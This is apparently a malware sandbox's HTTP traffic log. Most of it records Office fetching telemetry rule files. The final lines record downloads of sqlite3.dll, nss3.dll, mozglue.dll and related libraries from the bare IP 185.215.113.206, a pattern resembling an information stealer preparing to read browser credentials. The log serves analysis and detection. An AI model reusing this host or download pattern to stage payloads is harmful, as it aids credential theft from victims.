Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
